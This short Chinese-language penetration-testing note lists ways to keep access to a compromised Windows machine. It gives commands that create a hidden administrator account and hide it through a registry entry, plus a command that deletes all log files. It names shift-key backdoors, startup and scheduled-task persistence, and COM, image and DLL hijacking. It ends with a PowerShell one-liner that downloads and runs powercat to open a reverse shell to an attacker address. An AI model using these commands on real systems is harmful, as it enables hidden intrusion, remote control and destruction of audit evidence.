滲透測試之權限維持的方法

權限維持的方法

基本上如今常見的方法有如下幾種：

一、隱藏、克隆帳戶

windows 隱藏帳戶

net localgroup 「Domain Admin」 test$ /add

net user test$ test /add
net localgroup Administrators test$ /add
net localgroup "Remote Desktop Users" test$ /add
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /v test$ /T REG_DWORD /D 0
net user test$ /del
del %WINDIR%\*.log /a/s/q/f 刪除全部日誌文件
二、shift後門
三、啓動項、計劃任務
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\startup

四、劫持技術
com劫持
映像劫持 ： 改註冊表，debugger
dll劫持，clr
五、Powershell後門
powershell IEX (New-Object

System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip地址 -p 端口 -e cmd

 

詳細步驟連接：https://www.cnblogs.com/xiaozi/p/7613288.html